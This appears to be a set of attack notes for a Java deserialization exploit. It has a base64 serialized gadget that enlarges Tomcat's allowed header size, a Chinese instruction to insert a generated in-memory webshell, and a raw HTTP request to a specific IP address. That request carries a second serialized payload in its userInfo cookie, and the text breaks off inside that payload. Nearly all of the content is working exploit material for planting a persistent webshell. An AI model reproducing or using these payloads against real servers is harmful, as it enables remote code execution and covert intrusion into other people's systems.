wa7Bs8C0wK/BlMGywaHBrsGzwabBr8Gywa3BpcGywLt4cHNyAIDBr8GywafArsGhwbDBocGjwajBpcCuwaPBr8Gtwa3Br8GuwbPArsGjwa/BrMGswaXBo8G0wanBr8GuwbPAtMCuwaPBr8GtwbDBocGywaHBtMGvwbLBs8CuwYPBr8GtwbDBocGywaHBosGswaXBg8Gvwa3BsMGhwbLBocG0wa/Bsvv0mSW4brE3AgAAeHBzcgB2wa/BssGnwK7BocGwwaHBo8GowaXArsGjwa/BrcGtwa/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa/BrsGzwLTArsGmwbXBrsGjwbTBr8GywbPArsGJwa7BtsGvwavBpcGywZTBssGhwa7Bs8Gmwa/BssGtwaXBsofo/2t7fM44AgADWwAKwanBgcGywafBs3QAJsGbwYzBqsGhwbbBocCvwazBocGuwafAr8GPwaLBqsGlwaPBtMC7TAAWwanBjcGlwbTBqMGvwaTBjsGhwa3BpXQAJMGMwarBocG2waHAr8GswaHBrsGnwK/Bk8G0wbLBqcGuwafAu1sAFsGpwZDBocGywaHBrcGUwbnBsMGlwbN0ACTBm8GMwarBocG2waHAr8GswaHBrsGnwK/Bg8GswaHBs8GzwLt4cHVyACbBm8GMwarBocG2waHArsGswaHBrsGnwK7Bj8GiwarBpcGjwbTAu5DOWJ8QcylsAgAAeHAAAAAAdAAcwa7BpcG3wZTBssGhwa7Bs8Gmwa/BssGtwaXBsnVyACTBm8GMwarBocG2waHArsGswaHBrsGnwK7Bg8GswaHBs8GzwLurFteuy81amQIAAHhwAAAAAHcEAAAAAXNyAHTBo8Gvwa3ArsGzwbXBrsCuwa/BssGnwK7BocGwwaHBo8GowaXArsG4waHBrMGhwa7ArsGpwa7BtMGlwbLBrsGhwazArsG4wbPBrMG0waPArsG0wbLBocG4wK7BlMGlwa3BsMGswaHBtMGlwbPBicGtwbDBrAlXT8FurKszAwAGSQAawZ/BqcGuwaTBpcGuwbTBjsG1wa3BosGlwbJJABzBn8G0wbLBocGuwbPBrMGlwbTBicGuwaTBpcG4WwAUwZ/BosG5wbTBpcGjwa/BpMGlwbN0AAbBm8GbwYJbAAzBn8GjwazBocGzwbNxAH4AC0wACsGfwa7BocGtwaVxAH4ACkwAIsGfwa/BtcG0wbDBtcG0wZDBssGvwbDBpcGywbTBqcGlwbN0ACzBjMGqwaHBtsGhwK/BtcG0wanBrMCvwZDBssGvwbDBpcGywbTBqcGlwbPAu3hwAAAAAP////91cgAGwZvBm8GCS/0ZFWdn2zcCAAB4cAAAAAJ1cgAEwZvBgqzzF/gGCFTgAgAAeHAAAAl/yv66vgAAADQAggoABwA1BwA2CAA3BwA4CgAEADkKADoAOwcAPAoAOgA9BwA+CgACAD8IAEAKAEEAQggAQwoABwBECABFCgAEAEYKAEcAOwoARwBICABJBwBKCABLCABMCgAEAE0IAE4HAE8IAFAIAFEKAFIAUwoARwBUBwBVCABWCgBSAFcHAFkLACEAXAcAXQoAIwBeCgAmAF8HAGABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAFc3RhcnQBAA1TdGFja01hcFRhYmxlBwBhBwBiBwA8BwBKBwBdAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAeTW9kaWZ5VG9tY2F0TWF4SGVhZGVyU2l6ZS5qYXZhDAAnACgBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwEAD2phdmEvbGFuZy9DbGFzcwwAYwBkBwBhDABlAGYBABBqYXZhL2xhbmcvT2JqZWN0DABnAGgBABNbTGphdmEvbGFuZy9UaHJlYWQ7DABpAGoBAARodHRwBwBrDABsAG0BAAhBY2NlcHRvcgwAbgBvAQAGdGFyZ2V0DABwAHEHAGIMAHIAcwEACGVuZHBvaW50AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAGdGhpcyQwAQAHaGFuZGxlcgwAdABvAQAFcHJvdG8BAC9vcmcvYXBhY2hlL2NveW90ZS9odHRwMTEvQWJzdHJhY3RIdHRwMTFQcm90b2NvbAEAEW1heEh0dHBIZWFkZXJTaXplAQAFNDA5NjAHAHUMAHYAdwwAeAB5AQAib3JnL2FwYWNoZS9jb3lvdGUvQWJzdHJhY3RQcm90b2NvbAEADnByb2Nlc3NvckNhY2hlDAB2AHoHAHsBADNvcmcvYXBhY2hlL3RvbWNhdC91dGlsL25ldC9BYnN0cmFjdEVuZHBvaW50JEhhbmRsZXIBAAdIYW5kbGVyAQAMSW5uZXJDbGFzc2VzDAB8ACgBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAB9ACgMACsAKAEACFVzZXJJbmZvAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEADWdldFN1cGVyY2xhc3MBABFqYXZhL2xhbmcvSW50ZWdlcgEAB3ZhbHVlT2YBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQArb3JnL2FwYWNoZS90b21jYXQvdXRpbC9uZXQvQWJzdHJhY3RFbmRwb2ludAEAB3JlY3ljbGUBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwB+DAAnACgKAH8AgAAhACYAfwAAAAAAAwABACcAKAABACkAAAAdAAEAAQAAAAUqtwCBsQAAAAEAKgAAAAYAAQAAAAoAKgArACgAAQApAAACqQADAA0AAAFIEgISAwO9AAS2AAVLKgS2AAYqAQO9AAe2AAjAAAnAAAlMAz0cK76iARkrHDK2AAoSC7YADJkBBSscMrYAChINtgAMmQD3KxwytgAOEg+2ABBOLQS2ABEtKxwytgASOgQBOgUZBLYADhITtgAQOgWnABE6BhkEtgAOEhW2ABA6BRkFBLYAERkFGQS2ABI6BgE6BxkGtgAOEha2ABA6B6cAKzoIGQa2AA62ABcSFrYAEDoHpwAXOgkZBrYADrYAF7YAFxIWtgAQOgcZBwS2ABEZBxkGtgASOggZCLYADhIYtgAQOgkZCQS2ABESGRIatgAQOgoZCgS2ABEZChkJGQi2ABISG7gAHLYAHRIeEh+2ABA6CxkLBLYAERkLGQkZCLYAEgO4ACC2AB0ZCMAAIToMGQy5ACIBAKcACYQCAaf+56cACEsqtgAksQAEAGIAbgBxABQAkQCdAKAAFACiALEAtAAUAAABPwFCACMAAgAqAAAApgApAAAAEAAMABEAEQASACEAEwApABQARQAVAFEAFgBWABcAXwAYAGIAGgBuAB0AcQAbAHMAHAB/AB4AhQAfAI4AIACRACIAnQApAKAAIwCiACUAsQAoALQAJgC2ACcAyAAqAM4AKwDXACwA4wAtAOkALgDyAC8A+AAwAQkAMQESADIBGAAzASgANAEvADUBNgA2ATkAEwE/ADsBQgA5AUMAOgFHADwALAAAAIMACv4AIwcALQcACQH/AE0ABgcALQcACQEHAC4HAC8HAC4AAQcAMA3/ACAACAcALQcACQEHAC4HAC8HAC4HAC8HAC4AAQcAMP8AEwAJBwAtBwAJAQcALgcALwcALgcALwcALgcAMAABBwAw+gAT/wBwAAMHAC0HAAkBAAD4AAVCBwAxBAAIADIAKAABACkAAAAgAAAAAAAAAAS4ACWxAAAAAQAqAAAACgACAAAADAADAA0AAgAzAAAAAgA0AFsAAAAKAAEAIQBYAFoGCXVxAH4AGAAAAPLK/rq+AAAAMQATAQADRm9vBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhGb28uamF2YQEAFGphdmEvaW8vU2VyaWFsaXphYmxlBwAHAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoFceZp7jxtRxgBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWDAAOAA8KAAQAEAEABENvZGUAIQACAAQAAQAIAAEAGgAJAAoAAQANAAAAAgALAAEAAQAOAA8AAQASAAAAEQABAAEAAAAFKrcAEbEAAAAAAAEABQAAAAIABnB0AALBkHB3AQB4dwQAAAABeA==
Accept-Encoding: gzip, deflate
填写上面生成的内存马的的base64字符串填入下面base64编码的类
GET /mail/u/0/ HTTP/1.1
Host: 39.99.154.100:8080
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Priority: u=0, i
Referer: http://39.99.146.129:8080/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Cookie: userInfo=rO0ABXNyAC7BqsGhwbbBocCuwbXBtMGpwazArsGQwbLBqcGvwbLBqcG0wbnBkcG1waXBtcGllNowtPs/grEDAAJJAAjBs8GpwbrBpUwAFMGjwa/BrcGwwaHBssGhwbTBr8GydAAswYzBqsGhwbbBocCvwbXBtMGpwazAr8GDwa/BrcGwwaHBssGhwbTBr8GywLt4cAAAAAJzcgCEwa/BssGnwK7BocGwwaHBo8GowaXArsGjwa/BrcGtwa/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa/BrsGzwLTArsGjwa/BrcGwwaHBssGhwbTBr8GywbPArsGUwbLBocGuwbPBpsGvwbLBrcGpwa7Bp8GDwa/BrcGwwaHBssGhwbTBr8GyL/mE8CuxCMwCAAJMABLBpMGlwaPBr8GywaHBtMGlwaRxAH4AAUwAFsG0wbLBocGuwbPBpsGvwbLBrcGlwbJ0AFrBjMGvwbLBp8CvwaHBsMGhwaPBqMGlwK/Bo8Gvwa3BrcGvwa7Bs8CvwaPBr8GswazBpcGjwbTBqcGvwa7Bs8C0wK/BlMGywaHBrsGzwabBr8Gywa3BpcGywLt4cHNyAIDBr8GywafArsGhwbDBocGjwajBpcCuwaPBr8Gtwa3Br8GuwbPArsGjwa/BrMGswaXBo8G0wanBr8GuwbPAtMCuwaPBr8GtwbDBocGywaHBtMGvwbLBs8CuwYPBr8GtwbDBocGywaHBosGswaXBg8Gvwa3BsMGhwbLBocG0wa/Bsvv0mSW4brE3AgAAeHBzcgB2wa/BssGnwK7BocGwwaHBo8GowaXArsGjwa/BrcGtwa/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa/BrsGzwLTArsGmwbXBrsGjwbTBr8GywbPArsGJwa7BtsGvwavBpcGywZTBssGhwa7Bs8Gmwa/BssGtwaXBsofo/2t7fM44AgADWwAKwanBgcGywafBs3QAJsGbwYzBqsGhwbbBocCvwazBocGuwafAr8GPwaLBqsGlwaPBtMC7TAAWwanBjcGlwbTBqMGvwaTBjsGhwa3BpXQAJMGMwarBocG2waHAr8GswaHBrsGnwK/Bk8G0wbLBqcGuwafAu1sAFsGpwZDBocGywaHBrcGUwbnBsMGlwbN0ACTBm8GMwarBocG2waHAr8GswaHBrsGnwK/Bg8GswaHBs8GzwLt4cHVyACbBm8GMwarBocG2waHArsGswaHBrsGnwK7Bj8GiwarBpcGjwbTAu5DOWJ8QcylsAgAAeHAAAAAAdAAcwa7BpcG3wZTBssGhwa7Bs8Gmwa/BssGtwaXBsnVyACTBm8GMwarBocG2waHArsGswaHBrsGnwK7Bg8GswaHBs8GzwLurFteuy81amQIAAHhwAAAAAHcEAAAAA3NyAHTBo8Gvwa3ArsGzwbXBrsCuwa/BssGnwK7BocGwwaHBo8GowaXArsG4waHBrMGhwa7ArsGpwa7BtMGlwbLBrsGhwazArsG4wbPBrMG0waPArsG0wbLBocG4wK7BlMGlwa3BsMGswaHBtMGlwbPBicGtwbDBrAlXT8FurKszAwAGSQAawZ/BqcGuwaTBpcGuwbTBjsG1wa3BosGlwbJJABzBn8G0wbLBocGuwbPBrMGlwbTBicGuwaTBpcG4WwAUwZ/BosG5wbTBpcGjwa/BpMGlwbN0AAbBm8GbwYJbAAzBn8GjwazBocGzwbNxAH4AC0wACsGfwa7BocGtwaVxAH4ACkwAIsGfwa/BtcG0wbDBtcG0wZDBssGvwbDBpcGywbTBqcGlwbN0ACzBjMGqwaHBtsGhwK/BtcG0wanBrMCvwZDBssGvwbDBpcGywbTBqcGlwbPAu3hwAAAAAP////91cgAGwZvBm8GCS/0ZFWdn2zcCAAB4cAAAAAJ1cgAEwZvBgqzzF/gGCFTgAgAAeHAAADrCyv66vgAAADQAVwoAFAAhCAAiCgAFACMIACQHACUHACYKAAUAJwoAKAApCgAqACsIACwKAC0ALgoABQAvCgAwACkHADEKADIAMwoAMAA0CgAoADUKAAUANgcANwcAOAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwA5AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwA6AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABxUZW1wbGF0ZUltcGxDbGFzc0xvYWRlci5qYXZhDAAVABYBAE5jb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsJFRyYW5zbGV0Q2xhc3NMb2FkZXIMADsAPAEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IMAD0APgcAPwwAQABBBwBCDABDAEYBM5h5djY2dmdBQUFERUJTQUVBSG05eVp5OXFkVzVwZEM5NllpOURiMjVtYVdkMWNtRjBhVzl1VlhScGJBY0FBUUVBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRSEFBTUJBQTFuWlhSVmNteFFZWFIwWlhKdUFRQVVLQ2xNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUFSRGIyUmxBUUFQVEdsdVpVNTFiV0psY2xSaFlteGxBUUFTVEc5allXeFdZWEpwWVdKc1pWUmhZbXhsQVFBRWRHaHBjd0VBSUV4dmNtY3ZhblZ1YVhRdmVtSXZRMjl1Wm1sbmRYSmhkR2x2YmxWMGFXdzdBUUFDTHlvSUFBd0JBQXhuWlhSRGJHRnpjMDVoYldVQkFDdGpiMjB1WjI5dloyeGxMbWR6Ynk1WGFHbDBaVUpzWVdOclRHbHpkRlIwWVVsdWRHVnlZMlZ3ZEc5eUNBQVBBUUFQWjJWMFFtRnpaVFkwVTNSeWFXNW5BUUFLUlhoalpYQjBhVzl1Y3dFQUUycGhkbUV2YVc4dlNVOUZlR05sY0hScGIyNEhBQk1CQUJCcVlYWmhMMnhoYm1jdlUzUnlhVzVuQndBVkFRbXNTRFJ6U1VGQlFVRkJRVUZCUVVwV1dDc3pjMVI0ZUZVNVNUaHNaVWxUYzJoRlVVZzRZVUZQYTJkVlozbDBjMEY0UW5SMFNuZEVXVWQxT0doUGFXOTNaSGdyYkdwS1dUQnNaMkozY21Sc1l6SlVjSFZWY0cxdFlqbFFNVWxJSzJzM1pscEZWMU5yYTB0TmIxTkhNSE5tV0VndmIxQTVaWE4yVkdNdmMzbHpTVkIxVlRRdkt6bDFaSFZZVUc0emFuWnVibTUwYmpsakx5OTJTSE5JZDBWSU9GaGhRVGxaT0RSc1kzRmhXa3M0Y0VWNmFsbFVWUzl0UTBsM1pVeGxkVnBqYzIxQk4wVTBOQ3RoYW1wVGVYTnBVMWt4YjJGb1RVUXljeTl4T0c1cGFuRlNhVFI0Vms1U2RFOHlibkZYWTJ0c2RqaENhREE0YjJ3M1NrcFdUVWhMZW14cU5HNUdNSHB5V0VkS1FuQm9UekowVDJGTU1HdHJUVEpKZEVkYWExRXpjMnRXY0hKaVRHSkpRMEo1ZEVJeVpFZFpkMnd4ZW1wdlJuZG5UVzFXYTNCelJGWmFUVTlTTkdWVE5IUnlVV3M1V0dGUmEydHFVWHBsYmtaVGRIZHdjVmhvVlVkdVNIcENSblZvU1M5b09VaHZlRTlTUm5aRVRrUkJiekJhWlZWelNHSnVUMEpZV1hsd2RFaFNPVlpIUmpoUlFXVkVRMGRCYVVWRWFrVjNWMm8wUkhkc01FSndaSEVyWmtJd2VDdGljRWxOVFhKWE1uZEljMXBFTWtzMmMwNVJkalJ2TjBaS1RsYzVWamg2WVVKTVUxWk1aWEZCU2xwRU1FaEdNbkZSTldneWJteENhbWhKSzFWS1ZITjJlbHBYYXpjdlduVnhNbE5ZVkhOSFdDOXBibWxsVkhBclZrZGhZeTg1Y0hwQmRHNTJVelJSYzB0dldVcHdZVTVuYkc5T2JsTjBhbXRTTWt3eWVFSXhaVVJwVUhKT09VWnRWazVrWkZreVUydFZSVEpPTm1sbVRIUXhZVEJhWVRWSVdVbzBXVXR3WW5oVlIyUkJjMHd6YVVKNGVqZG5TMUZYUTFaMlZXdEJjSFJFVlhvd2VsQmxWVGxGYVc5SGNsRk9RVFJNTmxWUk5WbDNNa054YWxGdWJYQnphbEpQVkhFdlpXdFlTVlV5V20wNVJHNVNkV2RST0VwbllqQm1TMGhKVGtJMWJsbHVTRkpIV0UxelF5czJUSEo2WTJKeFpWaHZZek5WTTI5M2FVaDVNVWwwY1ZWcEsxZGFVbWxJZGxGcFQwTkVlWGRrY0dWSFVHZExWazFSTVVoTWVHbHJaRTV6Y1d4MVdqRkxObGREVFdwTFUzVlJMMnBEVkhkYVVXb3ZTVFZvUkdwVGVUTnVLelZHYjJKTVQwMW9NMFZOUVhsdk5FWjBSMFE1TlVrcmIzUjBOVmx4Ym1obFFXcEVZVUYwYVVoNFJtVjRVV3RPU1RKU1RIRmplazFJTkcxMVZEQm5aR3B4TkZob1prWlNia2R5UTB0S1NrSlNTVkJaZHpOdmNrSXZSVTB5TUVkS1dsSmlSMkZSSzJac1RVUkVMeTl6V1Vkek5GRk1VV0pxUVd0emRURnpiRTF1V1doWmMyeE9OSFJuYlZSdFQxcGFRbTlhVkZGamVGVkRNbXRPTUhwV09HNU5hMnAwY1U5SE4yVnBSVmhUUXpKWlptSllWbXRyV1c0NFUyNVJkbWRGWkVsR1pIRjRWSE5yYzNkclZXcEthbE5sWlZWWVJYaDRjRzlGWkVvd2FFaG5OSFZQV2s0MFJEQmthazFaUW1kVGMzbHlRazloS3pNeFdFaHpaSEE1UTBOR2JYZG1RVTl4ZEZOdVZsVlZMMVJzY0cxNVZsaEJWMFV6VkdseGFGbDRjQ3RKZUZab1NGQlJNRlpFZVZGMVp6SnJkVE5TWlhZeFZWRjBNa05QWkVKS01YWllURWR4V1VZM2FDOWxZaTlZUzJkV1lURnNkWEJrWkVWTVYwRjRhRUZUSzBWdFQzQnRjamhLVDFaNWRYTmtXR3hpZDFWM1RXeHRaRzV3VTFkNk0yaHlNM1paYVZoR1NFVXZTemREYW5adk5rZDZOMjVPVW5NcmNWTXdhbWR2VjJwa05uWjNPRmhuYm1oYVdIbENjblJOT1ROalpHeDRjakkwWkhSU1RISXdja1pzTDBOeGFYWlJNV1J4VTNObFlVcG5Oa1ZXWlVwMWIxTldTWFJtZDFaalZuTkdPRXhSTUU1UmNWZ3lSSFJFU0d0M2FqTmhja0UyYVZabmFtWjNjbU5XUTA0cmFFeFNZVEpZY2xSV2VsWnhkakJaWm5oWVdIaFFXV1k1T1VadWRYUXdaSE54UjJwa2VXOTBZVmt4YlROYU1EZ3lRM0p1WTNaNkszUlhlak5KTDFnelRtUmpUbTFZY0hGdFIyVldWa2RIY2xwWEsyUkhjR2x5Tlhvd1RGVmhlRU12YjJFNVlYTmtkR0U1YlM5VVFWcGpURGhEY2psWE5TOTFUakUyUlRoclN6Qm5NMjFLZG01c2JXNXlkVVl6U0djdlIzQktUVE56ZDB4SU5tNW9Xbll5TW14WU1IWlBSbWRzV1hkeVVFRkJTemRuT1hseFFYRXlWREI2U0hCalRsWjNWR0ZPTlc5MU5Gb3phVWR5UW0xRVpsQTRZMms1WkdaS1UzZ3lWR1JPUmk5SWFsSkVLMmxCY2s1bFpXdExOR2xoTlZwd1pVNTZjbTFEYm1WclkwaEZaMDVNTTA5Uk9FeDNja1ZRWWpCUVIxbElPRk5sYlZKUE9Dc3dkSFpXWlRacGJpczVSRUpVUlN0WU0yaFlSVWhqU2pab2N6SjRXWGxCYmtSVFpVbDFLMVE1Y3pKbGVqRnZWMk1yVlVsUlpqaFZaVTFxUlVGUGIxZG1WRGRhVm1acmIwdGtVVWMyTnpoUWRYVTBSV3ByY0dKUVRGcDNPVk5ZTUdZek1YWnBOMlkzTWs4d2RsbGtiekJVU0RCS09FNXNTVVpoUlZWVWJucHpPRXBaVW5oSUswTlBOM05rVjNKbmRqRmlWbEV4T1ZGNE1XeEdXbnAyU0RCS1RHWklTVzR5T1dkSmFEYzFlWGN3WTJsRlppdGtaMDg1WWpsamMyZ3hlVGxZWkdsS00xTjFjMDQ1WlhOT01VOTVjekp4T1hSWGNEbHRSRzl4Ym5BemVFcFllRzlqSzAxbWIxbHNTRmhsVG1oaU1YWldkVTFEU0RoVVFURmhSa3hOT0c5bllWcGtabUkwT1dSNE5FSmFObVpRWjBnemNtOHpOR0ZETTJkeFRuWTBVRmd5VjNoblV6WkJkbU40ZGtRd1JXczNNRTVpVVRCU1JUVlRUMDlpU0VaSlptb3JNblpFY0RGelF6RllSV2M0YWtWaGJVeHBSalV2ZVVsUVNEaFVObUkzUjJ4ellVY3lPR2hQU3pORlJpdGphbnBUZW1oWVoxaHJZbloxYkRSQ1pWVkxVSEl5UlhvM1VUQjRjV1J2SzJGS1FVSldLemhwVXpsWU9GQlZTM1pzYmtJMmVUQk9SbVo0Wnpab1NXRXJaMHdyU3pSRmNsQk5hMlZZVFZwV1VYVm9NM281TTBoc1FVTlFWVkp5YWxnMWQyUnpOVE5hTTFrNFVqVnVLME50WkdWU1VVSTBTRGhDU2k5WVJucHRjRGh3Vm1Gc2VFUk9PVFZDYWpSMlZFTk1SMGx6VkM5MWQxTlFhMUpDWTFkcFpVZHFXa1Z6WlZFNFVubE1OMFZwVlhKVlZWaGpZeXNyYUV4MVMwMXdPVkJ1WTFWd01EZ3ZabUZ2Y3l0UUswWnhlSEF5T0RKbVNrYzFkM0pXZFRSdE5uVjVjVlptVkZBd1IwbEVWakUwVW5salozWmlLMHhUTWxBM1NXSTRWbVJZU3pkblJDOTJOV1p5ZFVOd1prVlBkMmhMTlVaWVoxQkRPVkFyVTBnclMxTjRNbU51U2k4eWVIcHNaWFZ2Y3pOMlppOXJTbEozWkdvNWVESnFVa053ZG10Q1RGRkhNVGhpSzFoSGJITkJSMDgwYkc0cmVsZFlkV3ROTkhkU2FGQTRjMHMxVjBWUE1XbDVZMGRpTWxGbWFuSktiV3B4UlU1Qk9WRmljR1ZaWjA1Wk9XcHFUVkpOWTJaWmFUaGlkRWw1WTNNMFZsVlBlbXBqYWpnd1JWVnJhVXRtZDBrdmVGbG1aVTFSU1hsVlRHTlBabXBXWkd4S01uWTRTbVpyYnpsdmIwZG1kVlpZY1c4MlYyWjFlVmR0TUVsNlFpOTZObVFyUkZOM1p6Y3dTbEZXZW1aU2VUaERNVlJ0Ym5KMWVtWlhRV3N5TDJkMWJHZFVOSFpVUVRSQlFVRTlQUWdBRndFQUJqeHBibWwwUGdFQUZTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BWZ3dBR1FBYUNnQVdBQnNCQUFNb0tWWUJBQWRqYjI1MFpYaDBBUUFTVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBTGFXNTBaWEpqWlhCMGIzSU1BQmtBSFFvQUJBQWhBUUFLWjJWMFEyOXVkR1Y0ZEFFQUZDZ3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdEQUFqQUNRS0FBSUFKUUVBRG1kbGRFbHVkR1Z5WTJWd2RHOXlEQUFuQUNRS0FBSUFLQUVBRG1Ga1pFbHVkR1Z5WTJWd2RHOXlBUUFuS0V4cVlYWmhMMnhoYm1jdlQySnFaV04wTzB4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsV0RBQXFBQ3NLQUFJQUxBRUFFMnBoZG1FdmJHRnVaeTlGZUdObGNIUnBiMjRIQUM0QkFCRnlaWEYxWlhOMFFYUjBjbWxpZFhSbGN3RUFDMmgwZEhCeVpYRjFaWE4wQVFBSGMyVnpjMmx2YmdFQURuTmxjblpzWlhSRGIyNTBaWGgwQVFBVFlYQndiR2xqWVhScGIyNURiMjUwWlhoMGN3RUFHVXhxWVhaaEwzVjBhV3d2VEdsdWEyVmtTR0Z6YUZObGREc0JBQkpoY0hCc2FXTmhkR2x2YmtOdmJuUmxlSFFCQUF0amJHRnpjMHh2WVdSbGNnRUFGMHhxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN0FRQVZhbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5QndBNUFRQVFhbUYyWVM5c1lXNW5MMDlpYW1WamRBY0FPd0VBRFZOMFlXTnJUV0Z3VkdGaWJHVUJBQkJxWVhaaEwyeGhibWN2VkdoeVpXRmtCd0ErQVFBTlkzVnljbVZ1ZEZSb2NtVmhaQUVBRkNncFRHcGhkbUV2YkdGdVp5OVVhSEpsWVdRN0RBQkFBRUVLQUQ4QVFnRUFGV2RsZEVOdmJuUmxlSFJEYkdGemMweHZZV1JsY2dFQUdTZ3BUR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzTUFFUUFSUW9BUHdCR0FRQThiM0puTG5Od2NtbHVaMlp5WVcxbGQyOXlheTUzWldJdVkyOXVkR1Y0ZEM1eVpYRjFaWE4wTGxKbGNYVmxjM1JEYjI1MFpYaDBTRzlzWkdWeUNBQklBUUFKYkc5aFpFTnNZWE56QVFBbEtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MME5zWVhOek93d0FTZ0JMQ2dBNkFFd0JBQlJuWlhSU1pYRjFaWE4wUVhSMGNtbGlkWFJsY3dnQVRnRUFER2x1ZG05clpVMWxkR2h2WkFFQU9DaE1hbUYyWVM5c1lXNW5MMDlpYW1WamREdE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdEQUJRQUZFS0FBSUFVZ0VBQ21kbGRGSmxjWFZsYzNRSUFGUUJBQXBuWlhSVFpYTnphVzl1Q0FCV0FRQVJaMlYwVTJWeWRteGxkRU52Ym5SbGVIUUlBRmdCQUVKdmNtY3VjM0J5YVc1blpuSmhiV1YzYjNKckxuZGxZaTVqYjI1MFpYaDBMbk4xY0hCdmNuUXVWMlZpUVhCd2JHbGpZWFJwYjI1RGIyNTBaWGgwVlhScGJITUlBRm9CQUJoblpYUlhaV0pCY0hCc2FXTmhkR2x2YmtOdmJuUmxlSFFJQUZ3QkFBOXFZWFpoTDJ4aGJtY3ZRMnhoYzNNSEFGNEJBQnhxWVhaaGVDNXpaWEoyYkdWMExsTmxjblpzWlhSRGIyNTBaWGgwQ0FCZ0FRQmRLRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPMHhxWVhaaEwyeGhibWN2VTNSeWFXNW5PMXRNYW1GMllTOXNZVzVuTDBOc1lYTnpPMXRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3REFCUUFHSUtBQUlBWXdFQU1XOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VZMjl1ZEdWNGRDNXpkWEJ3YjNKMExreHBkbVZDWldGdWMxWnBaWGNJQUdVQkFBdHVaWGRKYm5OMFlXNWpaUXdBWndBa0NnQmZBR2dJQURRQkFBVm5aWFJHVmd3QWF3QlJDZ0FDQUd3QkFCZHFZWFpoTDNWMGFXd3ZUR2x1YTJWa1NHRnphRk5sZEFjQWJnRUFDR2wwWlhKaGRHOXlBUUFXS0NsTWFtRjJZUzkxZEdsc0wwbDBaWEpoZEc5eU93d0FjQUJ4Q2dCdkFISUJBQkp